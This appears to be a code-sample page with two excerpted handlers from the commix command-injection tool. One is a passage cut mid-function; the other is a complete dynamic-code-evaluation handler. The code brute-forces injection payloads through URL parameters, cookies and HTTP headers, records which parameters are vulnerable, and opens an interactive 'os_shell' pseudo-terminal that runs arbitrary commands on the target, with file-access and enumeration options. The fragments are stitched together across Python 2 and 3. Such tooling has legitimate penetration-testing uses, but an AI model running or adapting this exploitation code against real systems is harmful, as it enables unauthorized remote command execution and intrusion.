                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = cb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = cb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, timesec)

                            # Evaluate test results.
                            time.sleep(timesec)
                            shell = cb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not settings.VERBOSITY_LEVEL >= 1:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if float(float_percent) >= 99.9:
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"
                                info_msg = "Testing the " + "(" + injection_type.split(
                                    " "
                                )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        success_msg = "The"
                        if found_vuln_parameter == " ":
                            success_msg += http_request_method + ""
                        success_msg += ('', ' (JSON)')[
                            settings.IS_JSON] + the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print settings.print_success_msg(success_msg)
                        print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
                            "%20", " ", re.sub("%2B", "+",
                                               payload)) + Style.RESET_ALL
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                timesec=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = raw_input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "y"
                                if enumerate_again in settings.CHOICE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    #print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.enumeration_options():
                                cb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd and new_line:
                            print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print ""
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    sys.stdout.write(
                                        settings.print_question_msg(
                                            question_msg))
                                    file_access_again = sys.stdin.readline(
                                    ).replace("\n", "").lower()
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "y"
                                if file_access_again in settings.CHOICE_YES:
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    print ""
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.file_access_options():
                                # if not menu.enumeration_options():
                                #   print ""
                                cb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)
                                print ""

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            # if not menu.file_access_options():
                            #   print ""
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, timesec)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            if not menu.options.batch:
                                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                gotshell = sys.stdin.readline().replace(
                                    "\n", "").lower()
                            else:
                                gotshell = ""
                            if len(gotshell) == 0:
                                gotshell = "y"
                            if gotshell in settings.CHOICE_YES:
                                if not menu.options.batch:
                                    print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        if not readline_error:
                                            # Tab compliter
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator,
                                                TAG,
                                                cmd,
                                                prefix,
                                                suffix,
                                                whitespace,
                                                http_request_method,
                                                url,
                                                vuln_parameter,
                                                alter_shell,
                                                filename,
                                                technique,
                                                go_back,
                                                no_result,
                                                timesec,
                                                go_back_again,
                                                payload,
                                                OUTPUT_TEXTFILE="")
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            # Command execution results.
                                            time.sleep(timesec)
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, timesec)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                try:
                                                    shell = cb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    shell = "".join(
                                                        str(p) for p in shell)
                                                except:
                                                    print ""
                                                    continue
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                html_parser = HTMLParser.HTMLParser(
                                                )
                                                shell = html_parser.unescape(
                                                    shell)
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, shell)
                                            if shell != "":
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                if settings.VERBOSITY_LEVEL >= 1:
                                                    print ""
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print settings.print_critical_msg(
                                                    err_msg) + "\n"

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print ""
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Exemple #15
0
def eb_injection_handler(url, timesec, filename, http_request_method):
    shell = False
    counter = 1
    vp_flag = True
    no_result = True
    export_injection_info = False
    injection_type = "results-based dynamic code evaluation"
    technique = "dynamic code evaluation technique"

    for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
        settings.EXECUTION_FUNCTIONS[
            item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
    settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + ". "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        if settings.VERBOSITY_LEVEL != 0:
            print(settings.SPACE)

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(
        settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.EVAL_PREFIXES:
            for suffix in settings.EVAL_SUFFIXES:
                for separator in settings.EVAL_SEPARATORS:
                    if whitespace == " ":
                        whitespace = _urllib.parse.quote(whitespace)
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        try:
                            settings.EVAL_BASED_STATE = True
                            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                                url, http_request_method)
                            checks.check_for_stored_tamper(payload)
                        except TypeError:
                            err_msg = "An error occurred while accessing session file ('"
                            err_msg += settings.SESSION_FILE + "'). "
                            err_msg += "Use the '--flush-session' option."
                            print(settings.print_critical_msg(err_msg))
                            raise SystemExit()

                    if settings.RETEST == True:
                        settings.RETEST = False
                        from src.core.injections.results_based.techniques.classic import cb_handler
                        cb_handler.exploitation(url, timesec, filename,
                                                http_request_method)

                    if not settings.LOAD_SESSION:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = eb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = eb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # suffix = _urllib.parse.quote(suffix)
                            # Fix prefixes / suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Fixation for specific payload.
                            if ")%3B" + ")}" in payload:
                                payload = payload.replace(
                                    ")%3B" + ")}", ")" + ")}")
                                #payload = payload + TAG + ""

                            # Whitespace fixation
                            payload = payload.replace(" ", whitespace)

                            # Perform payload modification
                            payload = checks.perform_payload_modification(
                                payload)

                            if not settings.TAMPER_SCRIPTS['base64encode'] and \
                                 not settings.TAMPER_SCRIPTS['hexencode']:
                                payload = payload.replace(" ", "%20")

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                print(settings.print_payload(payload))
                            elif settings.VERBOSITY_LEVEL >= 2:
                                debug_msg = "Generating payload for the injection."
                                print(settings.print_debug_msg(debug_msg))
                                print(settings.print_payload(payload))

                            # Cookie header injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie header injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = eb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent HTTP header injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent HTTP header injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = eb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer HTTP header injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer HTTP header injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = eb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Host HTTP header injection
                            elif settings.HOST_INJECTION == True:
                                # Check if target host is vulnerable to host HTTP header injection.
                                vuln_parameter = parameters.specify_host_parameter(
                                    menu.options.host)
                                response = eb_injector.host_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom HTTP header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = eb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                found_cookie_injection = False
                                # Check if target host is vulnerable.
                                response, vuln_parameter = eb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, timesec)
                            # Evaluate test results.
                            shell = eb_injector.injection_test_results(
                                response, TAG, randvcalc)
                            time.sleep(timesec)

                            if settings.VERBOSITY_LEVEL == 0:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "." + " (" + str(
                                        float_percent) + "%)"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if str(float_percent) == "100.0":
                                    if no_result == True:
                                        percent = settings.FAIL_STATUS
                                    else:
                                        percent = ".. (" + str(
                                            float_percent) + "%)"
                                elif len(shell) != 0:
                                    percent = settings.info_msg
                                else:
                                    percent = ".. (" + str(
                                        float_percent) + "%)"

                                info_msg = "Testing the " + "(" + injection_type.split(
                                    " "
                                )[0] + ") " + technique + "." + "" + percent + ""
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except EOFError:
                            err_msg = "Exiting, due to EOFError."
                            print(settings.print_error_msg(err_msg))
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.HOST_INJECTION == True:
                            header_name = " Host"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            if settings.VERBOSITY_LEVEL == 0:
                                print(settings.SPACE)
                            else:
                                checks.total_of_requests()

                        # Print the findings to terminal.
                        info_msg = "The"
                        if len(found_vuln_parameter
                               ) > 0 and not "cookie" in header_name:
                            info_msg += " " + http_request_method
                        info_msg += ('', ' (JSON)')[settings.IS_JSON] + (
                            '', ' (SOAP/XML)'
                        )[settings.IS_XML] + the_type + header_name
                        info_msg += found_vuln_parameter + " seems injectable via "
                        info_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print(settings.print_bold_info_msg(info_msg))
                        sub_content = str(checks.url_decode(payload))
                        print(settings.print_sub_content(sub_content))
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                timesec=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = _input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "Y"
                                if enumerate_again in settings.CHOICE_YES:
                                    eb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    # print(settings.SPACE)
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.enumeration_options():
                                eb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd and new_line:
                            print(settings.SPACE)

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print(settings.SPACE)
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    file_access_again = _input(
                                        settings.print_question_msg(
                                            question_msg))
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "Y"
                                if file_access_again in settings.CHOICE_YES:
                                    eb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        timesec)
                                    print(settings.SPACE)
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    raise SystemExit()
                                else:
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print(settings.print_error_msg(err_msg))
                                    pass
                        else:
                            if menu.file_access_options():
                                # if not menu.enumeration_options():
                                #   print(settings.SPACE)
                                eb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, timesec)
                                print(settings.SPACE)

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            # if not menu.file_access_options():
                            #   print(settings.SPACE)
                            eb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, timesec)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            if not menu.options.batch:
                                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                gotshell = _input(
                                    settings.print_question_msg(question_msg))
                            else:
                                gotshell = ""
                            if len(gotshell) == 0:
                                gotshell = "Y"
                            if gotshell in settings.CHOICE_YES:
                                if not menu.options.batch:
                                    print(settings.SPACE)
                                print("Pseudo-Terminal (type '" +
                                      Style.BRIGHT + "?" + Style.RESET_ALL +
                                      "' for available options)")
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = _input("""commix(""" +
                                                     Style.BRIGHT + Fore.RED +
                                                     """os_shell""" +
                                                     Style.RESET_ALL +
                                                     """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator,
                                                TAG,
                                                cmd,
                                                prefix,
                                                suffix,
                                                whitespace,
                                                http_request_method,
                                                url,
                                                vuln_parameter,
                                                alter_shell,
                                                filename,
                                                technique,
                                                go_back,
                                                no_result,
                                                timesec,
                                                go_back_again,
                                                payload,
                                                OUTPUT_TEXTFILE="")
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            # The main command injection exploitation.
                                            time.sleep(timesec)
                                            response = eb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, timesec)
                                            if menu.options.ignore_session or\
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                shell = eb_injector.injection_results(
                                                    response, TAG, cmd)
                                                shell = "".join(
                                                    str(p)
                                                    for p in shell).replace(
                                                        " ", "", 1)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)

                                            if shell != "":
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, shell)
                                                print("\n" + Fore.GREEN +
                                                      Style.BRIGHT + shell +
                                                      Style.RESET_ALL + "\n")
                                            else:
                                                if settings.VERBOSITY_LEVEL != 0:
                                                    print(settings.SPACE)
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print(
                                                    settings.
                                                    print_critical_msg(
                                                        err_msg) + "\n")

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                                    except EOFError:
                                        err_msg = "Exiting, due to EOFError."
                                        print(
                                            settings.print_error_msg(err_msg))
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                raise SystemExit()

                            else:
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print(settings.print_error_msg(err_msg))
                                pass

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print(settings.SPACE)
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()